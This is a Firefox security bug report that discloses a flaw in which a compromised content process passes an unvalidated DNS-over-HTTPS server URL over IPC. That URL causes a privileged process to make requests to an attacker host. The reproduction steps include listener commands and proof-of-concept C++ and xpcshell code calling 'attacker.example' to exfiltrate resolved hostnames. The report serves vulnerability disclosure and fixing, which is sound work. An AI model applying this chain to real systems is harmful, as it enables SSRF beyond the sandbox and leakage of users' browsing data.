Closed Bug 2023309 Opened 8 months ago Closed 8 months ago

Compromised Content Process Can Cause Privileged-Process SSRF via Content-Controlled TRR Server URL in `PNecko::PDNSRequest`

Categories

(Core :: Networking: DNS, defect)

defect

Tracking

()

RESOLVED DUPLICATE of bug 2022726

People

(Reporter: geeknik, Unassigned)

Details

(Keywords: ai-involved, reporter-external, Whiteboard: [client-bounty-form])

Summary

A compromised content process can send a PNecko::PDNSRequest IPC message
with an attacker-controlled trrServer parameter. The receiving handler
NeckoParent::RecvPDNSRequestConstructor passes this string through the
entire DNS-over-HTTPS resolution chain without any validation — no scheme
check, no allowlist, no URL sanitization. The privileged process (parent, or
socket process when network.process.enabled=true) ultimately makes an
HTTP(S) request to the attacker-supplied URL via DNSUtils::CreateChannelHelper.

Depending on configuration, the DNS request may be handled in the parent
process directly, or relayed to the socket process
(DNSRequestChild.cpp:494-497). In either case the request executes outside
the content sandbox.

The https-scheme enforcement in TRRServiceBase::ProcessURITemplate
(netwerk/dns/TRRServiceBase.cpp:52) applies only to the pref-configured
default TRR server URI (set via network.trr.uri). Per-request custom TRR
server URLs supplied through IPC are never checked by ProcessURITemplate —
they flow through a completely separate code path (TRR::CreateQueryURI
line 153: uri = mRec->mTrrServer). The attacker-supplied URL must use an
http:// or https:// scheme, because the TRR code requires an
nsIHttpChannel (TRR.cpp:309 — do_QueryInterface to nsIHttpChannel
fails for non-HTTP schemes). Standard HTTP unsafe-port checks still apply,
though common web ports (80, 443, 8080, etc.) remain viable targets.

Additionally, a non-empty trrServer forces TRR_ONLY_MODE for the
affected lookup (nsHostResolver.cpp:1073-1075). This does not mutate the
global network.trr.mode preference, but for each request where the
attacker supplies a custom trrServer, the lookup is forced to use only
that server with no fallback to the system resolver.

Affected Code

IPDL declaration (netwerk/ipc/PNecko.ipdl:87-89) — child-to-parent message:

async PDNSRequest(nsCString hostName, nsCString trrServer, int32_t port,
                  uint16_t type, OriginAttributes originAttributes,
                  DNSFlags flags);

trrServer is a plain nsCString with no type constraint or annotation.

Parent-side handler (netwerk/ipc/NeckoParent.cpp:549-560):

mozilla::ipc::IPCResult NeckoParent::RecvPDNSRequestConstructor(
    PDNSRequestParent* aActor, const nsACString& aHost,
    const nsACString& aTrrServer, const int32_t& aPort, const uint16_t& aType,
    const OriginAttributes& aOriginAttributes,
    const nsIDNSService::DNSFlags& aFlags) {
  RefPtr<DNSRequestParent> actor = static_cast<DNSRequestParent*>(aActor);
  RefPtr<DNSRequestHandler> handler =
      actor->GetDNSRequest()->AsDNSRequestHandler();
  handler->DoAsyncResolve(aHost, aTrrServer, aPort, aType, aOriginAttributes,
                          aFlags);
  return IPC_OK();
}

No validation of aTrrServer. Passed directly to DoAsyncResolve.

DNS request handler (netwerk/dns/DNSRequestParent.cpp:39-58):

void DNSRequestHandler::DoAsyncResolve(const nsACString& hostname,
                                       const nsACString& trrServer,
                                       int32_t port, uint16_t type,
                                       const OriginAttributes& originAttributes,
                                       nsIDNSService::DNSFlags flags) {
  // ...
  RefPtr<DNSAdditionalInfo> info;
  if (!trrServer.IsEmpty() || port != -1) {
    info = new DNSAdditionalInfo(trrServer, port);  // attacker string stored verbatim
  }
  rv = dns->AsyncResolveNative(
      hostname, static_cast<nsIDNSService::ResolveType>(type), flags, info,
      this, main, originAttributes, getter_AddRefs(unused));
}

trrServer wrapped in DNSAdditionalInfo and forwarded into the resolver.

Host key storage (netwerk/dns/nsHostResolver.cpp:523-524):

nsHostKey key(host, aTrrServer, type, flags, af,
              (aOriginAttributes.IsPrivateBrowsing()), originSuffix);

aTrrServer stored verbatim in the host record key.

Forced TRR_ONLY_MODE (netwerk/dns/nsHostResolver.cpp:1073-1076):

if (!aRec->mTrrServer.IsEmpty()) {
  aRec->mEffectiveTRRMode = nsIRequest::TRR_ONLY_MODE;
  return;
}

Any non-empty trrServer forces mEffectiveTRRMode to TRR_ONLY_MODE
for that record/lookup, bypassing the user's configured TRR mode for the
affected resolution.

TRR query URI construction (netwerk/dns/TRR.cpp:147-164):

nsresult TRR::CreateQueryURI(nsIURI** aOutURI) {
  nsAutoCString uri;
  nsCOMPtr<nsIURI> dnsURI;
  if (UseDefaultServer()) {
    TRRService::Get()->GetURI(uri);   // pref-configured, scheme-checked
  } else {
    uri = mRec->mTrrServer;           // attacker-controlled, unchecked
  }
  nsresult rv = NS_NewURI(getter_AddRefs(dnsURI), uri);
  // ...
}

UseDefaultServer() returns false when mRec->mTrrServer is non-empty
(TRR.cpp:1000). The attacker URL is used directly — NS_NewURI accepts
any valid URI, including http://.

HTTP request creation (netwerk/dns/TRR.cpp:291):

rv = DNSUtils::CreateChannelHelper(dnsURI, getter_AddRefs(channel));

Channel creation (netwerk/dns/DNSUtils.cpp:36-52):

return NS_NewChannel(
    aResult, aUri, nsContentUtils::GetSystemPrincipal(),
    nsILoadInfo::SEC_ALLOW_CROSS_ORIGIN_SEC_CONTEXT_IS_NULL,
    nsIContentPolicy::TYPE_OTHER, ...);

The privileged process (parent or socket process) creates an HTTP channel
to the attacker-controlled URI. On the main-thread path, this uses the
system principal with SEC_ALLOW_CROSS_ORIGIN. On the socket-process path,
gHttpHandler->CreateTRRServiceChannel is used (line 72).

Scheme check that does NOT apply (netwerk/dns/TRRServiceBase.cpp:42-57):

void TRRServiceBase::ProcessURITemplate(nsACString& aURI) {
  // ...
  if (!scheme.Equals("https")) {
    aURI.Truncate();
    return;
  }
  // ...
}

This function is called only when processing the pref-configured default TRR
URI (network.trr.uri). Per-request custom TRR servers from IPC never pass
through ProcessURITemplate.

Complete Attack Chain

Content process (compromised)
  → sends PNecko::PDNSRequest with trrServer="http://attacker.example/collect"
    → NeckoParent::RecvPDNSRequestConstructor (no validation)
      → DNSRequestHandler::DoAsyncResolve (wraps in DNSAdditionalInfo)
        → nsHostResolver (stores trrServer in host key, forces TRR_ONLY_MODE
                          for this lookup)
          → TRR::CreateQueryURI (UseDefaultServer()=false, uses attacker URL)
            → TRR::SendHTTPRequest
              → DNSUtils::CreateChannelHelper(attacker_url)
                → Privileged process makes HTTP(S) request to attacker.example
                   (parent process, or socket process if network.process.enabled)

Steps to Reproduce

Method A: Debugger-based (direct IPC message)

  1. Build Firefox (debug or release — behavior is identical).
  2. Launch Firefox and load any webpage.
  3. Attach a debugger (lldb/gdb) to the content process.
  4. Set up an HTTP listener on attacker-controlled host to log incoming requests:
    # On attacker host, log all incoming requests
    nc -l -p 8080
    # Or use a more capable listener:
    python3 -m http.server 8080
    
  5. In the content process debugger, send the IPC message:
// Obtain the NeckoChild IPC actor
mozilla::net::PNeckoChild* necko = mozilla::net::gNeckoChild;

// Construct the DNS request with attacker-controlled TRR server URL
nsCString hostname("anything.example.com"_ns);
nsCString trrServer("http://attacker.example:8080/collect"_ns);
int32_t port = -1;
uint16_t type = 0;  // RESOLVE_TYPE_DEFAULT (A record)
mozilla::OriginAttributes oa;
nsIDNSService::DNSFlags flags = nsIDNSService::RESOLVE_DEFAULT_FLAGS;

// Send — a privileged process (parent or socket process) will make an
// HTTP(S) request to attacker.example
necko->SendPDNSRequestConstructor(hostname, trrServer, port, type, oa, flags);
  1. Observe the privileged process (parent or socket process) making an HTTP
    POST (DoH wire format) to http://attacker.example:8080/collect. The
    request body contains the DNS query for anything.example.com in RFC 8484
    wire format. The HTTP headers include the Accept: application/dns-message
    header (set at TRR.cpp:319). The request is anonymous (LOAD_ANONYMOUS)
    — no cookies or TRR credentials are sent.

Method B: Patched content process (end-to-end proof)

  1. Modify the content-side DNS path — either where aInfo is consumed in
    ChildDNSService::AsyncResolveNative (netwerk/dns/ChildDNSService.cpp:210)
    to inject an attacker-controlled trrServer into the DNSAdditionalInfo,
    or DNSRequestChild.cpp:475 to
    replace the mTrrServer field in the outbound SendPDNSRequestConstructor
    call with an attacker URL.
  2. Rebuild and run. Trigger any DNS lookup from web content.
  3. Observe the privileged process contacting the attacker URL.

Method C: xpcshell test (parent-side sink verification)

Write an xpcshell test that calls nsIDNSService::asyncResolveNative
directly with a DNSAdditionalInfo containing an attacker URL, verifying
the parent-side sink accepts it without validation:

let dns = Cc["@mozilla.org/network/dns-service;1"].getService(Ci.nsIDNSService);
let info = dns.newAdditionalInfo("http://attacker.example:8080/collect", -1);

dns.asyncResolveNative(
  "anything.example.com",
  Ci.nsIDNSService.RESOLVE_TYPE_DEFAULT,
  Ci.nsIDNSService.RESOLVE_DEFAULT_FLAGS,
  info,
  {
    onLookupComplete(inRequest, inRecord, inStatus) {
      // A privileged process (parent or socket process) will have
      // already made the HTTP request to attacker.example:8080 by this point
    },
  },
  Services.tm.mainThread,
  {} // default OriginAttributes
);

Expected Behavior

The receiving privileged process should validate the trrServer parameter
from the content process before using it as an HTTP request target. At
minimum:

  • Enforce https scheme (matching the check applied to the pref-configured default)
  • Validate against the configured TRR URL or an allowlist
  • Reject per-request TRR server overrides from content processes entirely
    (there is no legitimate reason for a content process to specify a custom
    DoH resolver)

Security Impact

  • Severity: Sandbox-boundary violation / post-compromise SSRF primitive
  • Attack prerequisite: Code execution in the content process (compromised
    renderer sending existing PNecko IPC messages directly)
  • Privileged-process SSRF: The privileged process (parent, or socket
    process when network.process.enabled=true) makes an HTTP(S) request to
    an attacker-controlled URL. This request originates outside the content
    sandbox and can reach hosts/ports that the content process itself cannot
    (e.g., localhost services, internal network hosts blocked by content-process
    sandboxing). Standard unsafe-port checks still apply on the HTTP channel
    path (NS_CheckPortSafety — via TRRServiceChannel.cpp:212 on the
    socket-process path, nsHttpChannel.cpp:7761 on the main-thread path),
    but common web ports (80, 443, 8080, etc.) remain viable targets
  • Hostname exfiltration: The DNS query hostname is included in the DoH
    request body (RFC 8484 wire format). An attacker can exfiltrate the
    hostnames being resolved by the compromised content process to their
    own server
  • Per-lookup TRR mode override: Non-empty trrServer forces
    TRR_ONLY_MODE for the affected lookup (nsHostResolver.cpp:1073). This
    does not mutate the global network.trr.mode pref, but for each request
    where the attacker supplies a custom trrServer, that lookup uses only the
    attacker server with no fallback to the system resolver. This can be used
    to selectively deny resolution for specific hostnames (by pointing at a
    non-responsive server) or to route specific lookups through attacker
    infrastructure
  • Credential exposure is limited: The channel is created with
    LOAD_ANONYMOUS flags (TRR.cpp:298), which prevents cookies from being
    sent. The Authorization header is only added for the default TRR server
    (TRR.cpp:323 — gated on UseDefaultServer()), so TRR credentials are
    not leaked to the attacker endpoint
  • Scheme restriction gap: Unlike the default TRR URI which is validated
    to be https by ProcessURITemplate, the per-request path accepts
    http:// URLs (the URL must use an HTTP(S) scheme because
    do_QueryInterface to nsIHttpChannel at TRR.cpp:309 fails for
    non-HTTP channels). This means the DoH query (containing the target
    hostname) can be sent over plaintext HTTP
Flags: sec-bounty?
Group: firefox-core-security → network-core-security
Status: NEW → RESOLVED
Closed: 8 months ago
Component: Security → Networking: DNS
Duplicate of bug: CVE-2026-6777
Keywords: ai-involved
Product: Firefox → Core
Resolution: --- → DUPLICATE
Flags: sec-bounty? → sec-bounty-
Group: network-core-security
You need to log in before you can comment on or make changes to this bug.